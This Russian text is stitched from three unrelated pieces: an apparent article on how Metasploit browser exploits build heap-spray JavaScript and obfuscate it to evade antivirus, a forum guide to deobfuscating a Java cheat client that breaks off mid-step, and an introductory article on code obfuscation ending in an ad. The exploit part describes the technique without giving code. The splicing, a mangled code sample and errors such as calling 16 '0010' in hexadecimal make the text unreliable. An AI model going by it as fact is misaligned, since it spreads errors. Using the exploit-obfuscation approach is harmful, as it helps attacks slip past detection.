Большинство браузерных уязвимостей эксплуатируются через JavaScript. В порядке вещей видеть JavaScript, используемый для создания распыляемой по куче полезной нагрузки, состоящей из шелл-кода и последовательности NOP-ов.

JavaScript также используется для эксплуатации уязвимости, позволяющей распылить данный шелл-код по пространству кучи.

Поскольку JS используется в качестве вектора атаки в браузерных эксплоитах, возникает необходимость обнаружения вредоносного JS-кода в веб-страницах. Такой способностью обладают антивирусные сканеры.

Тем не менее, возможности антивирусного ПО ограничены, как и возможности онлайновых JS-распаковщиков. Это было показано во втором и третьем разделе.

Мы рассмотрим поддержку обфускации JS в Метасплоит.

Сначала давайте посмотрим количество браузерных эксплоитов в последней версии фреймворка на момент написания данной статьи.

Итак, всего 162 модуля с браузерными эксплоитами, из которых 147 используют JavaScript для эксплуатации уязвимости в браузере или для манипуляции с памятью браузера.

Теперь давайте возьмем один из браузерных эксплоитов в качестве примера, чтобы понять, какие возможности по обфускации JS нам доступны.

Я рассмотрю следующий модуль: ms11_003_ie_css_import.

Он эксплуатирует уязвимость «повреждение памяти» в HTML-движке MS Internet Explorer. Эта уязвимость относится к классу «использование после освобождения», то есть, возникает, когда осуществляется доступ к ранее удаленному объекту C++. Специфическим для данного эксплоита требованием является наличие в веб-странице рекурсивных CSS-импортов.

Я покажу фрагменты модуля, относящиеся к JavaScript и то, как JavaScript используется для построения распыляемого по куче кода, а позднее обфусцируется.

Модуль эксплоита предоставляет опцию обфускации JavaScript.

В данном фрагменте JavaScript используется для манипуляции памятью IE.

#(special_sauce> относится к полезной нагрузке, сформированной скриптом.

Перед выделенным блоком мы можем видеть, что имя js_function генерируется случайно с помощью функции rand_text_alpha.

Результирующий JavaScript хранится в метке-заполнителе custom_js.

Данный фрагмент использует библиотеку ::Rex::Exploitation::ObfuscateJS.new для обфускации сформированного ранее JavaScript, если опции OBFUSCATE в модуле эксплоита было присвоено значение True.

Результирующий обфусцированный JS хранится в variable js.

Итоговая вредоносная веб-страница конструируется с помощью сформированного ранее обфусцированного JavaScript.

# -> представляет обфусцированный JavaScript

# -> представляет случайно сгенерированное имя JS-функции, присутствующей внутри #. Она вызвается в момент загрузки браузером веб-страницы с помощью события onload.

Вот какие значения имеют опции при загрузке эксплоита в консоль фреймворка, msfconsole. Я выделил опцию, отвечающую за обфускацию. По умолчанию она имеет значение true.

Заключение

После прочтения и понимания подхода, представленного в данном документе, вы, надеюсь, сможете бороться с существующими методами обфускации, использующимися во вредоносных JS, а также сможете расширять этот подход для борьбы с новыми приемами.

Гайд Гайд по деофускации кода на ЯП Java.

(НА ВСЯКИЕ НЕТОЧНОСТИ УКАЗЫВАЙТЕ, БУДУ ИСПРАВЛЯТЬ)
Гайд по деобфускации кода на ЯП Java.

При создании какого то кода кодер скорее всего не горит желанием того, что бы его код увидели посторонние люди или попробовали взломать программу. Настоящей волшебной палочкой выступают ремапперы и обфускаторы, которых развелось просто огромное количество.

Для того, что бы приступить к деобфускации какого-то кода, нужно понять, что такое обфускация, и я обьясню это простыми словами.

Обфускация — изменение, запутывание кода с целью скрыть алгоритмы работы программы, её исходный код.
Соответственно деобфускация — процесс, обратный обфускации, попытка восстановления исходного кода программы из её запутанного варианта.

Под определение обфускации не попадает такой софт, как например ProGuard, которые многие кубоголовые по ошибке называют обфускатором, хотя он является ремаппером.

С водой закончили, наступило время практики.

Практическая часть.

Для начала нужно понять, какой же обфускатор накладывали на данный джарник, однако тут вы уже как-то сами, ведь для деобфускации и работы с байткодом НУЖНЫ ЗНАНИЯ ДЖАВЫ!

Для примера я выбрал такую пасту, как «NeKstClient 4.0», деобфускацию которого я уже выкладывал. На нём стоит обфускатор от блауберии (

Пожалуйста, авторизуйтесь для просмотра ссылки.

Лично я использую деобфускатор от наруми, но вы можете использовать любой другой, или же самописный, в этой статье я покажу пример работы с данным деобфускатором.

1677695129847.png

Список поддерживаемых им обфускаторов тут:

Для работы с ним нам нужны:

Любая иде для работы с джава кодом с поддержкой джавы 11 или младше версий.
Пожалуйста, авторизуйтесь для просмотра ссылки.
Пожалуйста, авторизуйтесь для просмотра ссылки.

(если нет, нужно архив с кодом деобфускатора скачать и распаковать в любое удобное место)1677694060098.png

  • Открываем проект в иде (в моём случае это Intellij Idea)
  • Переходим по пути /src/main/java/ и открываем класс Loader (стандартный его вид приведён ниже)1677695279324.png
  • Закидываем нашу джарку по пути /test/
  • В 11 строчке меняем Arrows.jar на название джарника (в 12 пишем что угодно, это будет название джарника после деобфускации)
  • В моём случае обфускация от блауберии, поэтому в 14 строчке вместо

    new CaesiumTransformer()

    Что такое обфускация кода

    Ситуация: вы написали уникальный алгоритм обработки текста, который подсказывает пользователю, как грамотно что-то написать (например, письмо клиенту или коммерческое предложение). Этот код исполняется прямо на клиенте, в виде JS-библиотеки. Вы хотите продавать доступ к этому сервису.

    Проблемы:

    Как только один пользователь получил доступ к этому коду, он может заглянуть в него, понять принцип действия и создать такой же сервис самостоятельно.

    Если прятать код на сервер и давать пользователю только сделать запрос и получить ответ, то нужно существенно повышать стоимость сервиса: нужно ведь платить за аренду сервера. И быстродействие кода снизится.

    Решение — использовать обфускацию кода. Звучит сложно, сейчас поясним.

    Что такое обфускация кода

    Обфускация — это когда мы берём понятный код и делаем из него непонятный, но работающий точно так же. Смысл обфускации в том, чтобы глядя на ваш код никто не разобрался, как именно он работает. Вы, кстати, тоже не разберётесь — если нужно будет что-то поправить в программе, то это нужно будет делать в исходном, а не обфусцированном коде.

    Что такое обфускация кода

    Зачем это нужно

    Причин для обфускации может быть несколько:

    • защитить идею от копирования — как в нашем примере с текстовым редактором;
    • сделать так, чтобы никто кроме вас не мог поддерживать этот код — а вы могли и получали за это деньги;
    • скрыть какие-то значения или действия — например, если в программу встроена проверка пароля или бэкдор;
    • защитить алгоритм от взлома — злоумышленник может проанализировать код программы, выяснить, какая часть отвечает за лицензию, и обойти её, в итоге он будет пользоваться программой бесплатно.

    В любом случае цель обфускации — скрыть логику работы исходного кода.

    Как работает обфускатор

    Задача обфускатора — используя возможности того же языка программирования (или машинного кода) поменять исходный код на что-то другое, но работающее точно так же. Например, в проекте про тетрис на JavaScript у нас есть такой фрагмент кода:

    // поворачиваем матрицу на 90 градусов function rotate(matrix) < const N = matrix.length - 1; const result = matrix.map((row, i) =>row.map((val, j) => matrix[N - j][i]) ); // на входе матрица, и на выходе тоже отдаём матрицу return result; >

    После обфускации он может выглядеть так:

    function ks8s(fk93f) u5tlo2.k5hvf8((js893llq,grehg7dk)=>fk93f[plq89b-grehg7dk][gts74h2]));return q0lj34;>

    Этот код делает всё то же самое — поворачивает матрицу на 90 градусов, только в нём очень сложно разобраться. Вот что мы для этого сделали:

    • заменили понятные имена переменных на названия вроде k5hvf8;
    • убрали все пробелы, комментарии и переносы строк;
    • заменили простые конструкции типа i − 1 на —i — работает точно так же, а выглядит уже сложнее

    Это самая простая обфускация кода, которая может сработать для новичков, но опытных программистов она не запутает. Чтобы сделать код сложнее, используют ещё другие приёмы.

    Изменение данных. Число 16 в программе можно записать как 10000 — это 16 в двоичной системе счисления, или как 0010 в шестнадцатеричной. Можно добавить перед ним 8 нулей и получить 0000000016, потом добавить перед ним единицу, а как понадобится исходное число — убрать единицу и все нули из начала. Можно даже поменять тип данных, чтобы компьютер выделил другой диапазон памяти, но такое работает не всегда.

    Дополнительные блоки кода и запутанное управление. В программу можно добавить сколько угодно дополнительных функций, которые будут ссылаться друг на друга и вызывать в разных местах тот код, который нам нужен. В итоге другой программист просто не сможет понять, в какой последовательности выполняются команды и какая вообще там логика.

    Ручная и машинная обфускация

    Раньше обфускацией занимались вручную или с помощью скриптов: меняли названия переменных, добавляли ложные точки вызова функций и использовали сложную работу с памятью в Ассемблере. Это отнимало много времени, но и дешифровать этот код обратно было крайне сложно.

    Сейчас почти весь код меняется с помощью программ-обфускаторов. Для каждого языка есть свои программы и настройки, поэтому сейчас запутать свой код стало проще, чем раньше. С другой стороны, появились программы, которые анализируют финальный код и пытаются распутать эти сложные команды во что-то попроще — так работают дизассемблеры. Поэтому чаще всего программисты обфусцируют исходный код, компилируют его, а потом обфусцируют ещё и машинный код.

    В любом случае обфускация сильно усложняет обратную разработку, но не делает её невозможной — при должном желании можно распутать почти любой код или хотя бы понять логику его работы.

    Минусы обфускации

    У обфускации есть два больших минуса, из-за которых большинство программистов ей не пользуются или делают это редко:

    ❌ Программа работает медленнее — иногда при усложнении кода одна команда заменяется на 3–5 других команд. В итоге количество команд в программе увеличивается, и компьютеру нужно больше времени, чтобы их обработать.

    ❌ Обфусцированный код почти невозможно править без доступа к исходному коду. Если разработчик после преобразования случайно удалит исходник программы, ему проще будет написать её заново, чем пытаться разобраться в результате.

    JSFuck как обфускатор для JavaScript

    Напоследок расскажем об интересном проекте — JSFuck. Ребята вдохновились тем, как устроен язык Brainfuck, в котором всего 8 команд:

    Они использовали особенности работы с памятью, данными и выражениями в JavaScript, чтобы преобразовать любую команду JS в подобный код из скобок, плюсиков и восклицательных знаков. Это тоже можно использовать как обфускатор, хотя изначально у ребят была идея просто поглумиться над кодом.

    Выполните этот код в консоли браузера, чтобы увидеть пасхалку, которую мы вам приготовили с помощью JSFuck:

    Читаете «Код»? Зарабатывайте на коде

    Сфера ИТ и разработки постоянно растёт и требует новых кадров. Компании готовы щедро платить даже начинающим разработчикам, а опытных вообще отрывают с руками. Обучиться на разработчика можно в «Яндекс Практикуме».

    Читаете «Код»? Зарабатывайте на коде Читаете «Код»? Зарабатывайте на коде Читаете «Код»? Зарабатывайте на коде Читаете «Код»? Зарабатывайте на коде

    Получите ИТ-профессию

    В «Яндекс Практикуме» можно стать разработчиком, тестировщиком, аналитиком и менеджером цифровых продуктов. Первая часть обучения всегда бесплатная, чтобы попробовать и найти то, что вам по душе. Дальше — программы трудоустройства.

  • Добавить комментарий

    Ваш адрес email не будет опубликован. Обязательные поля помечены *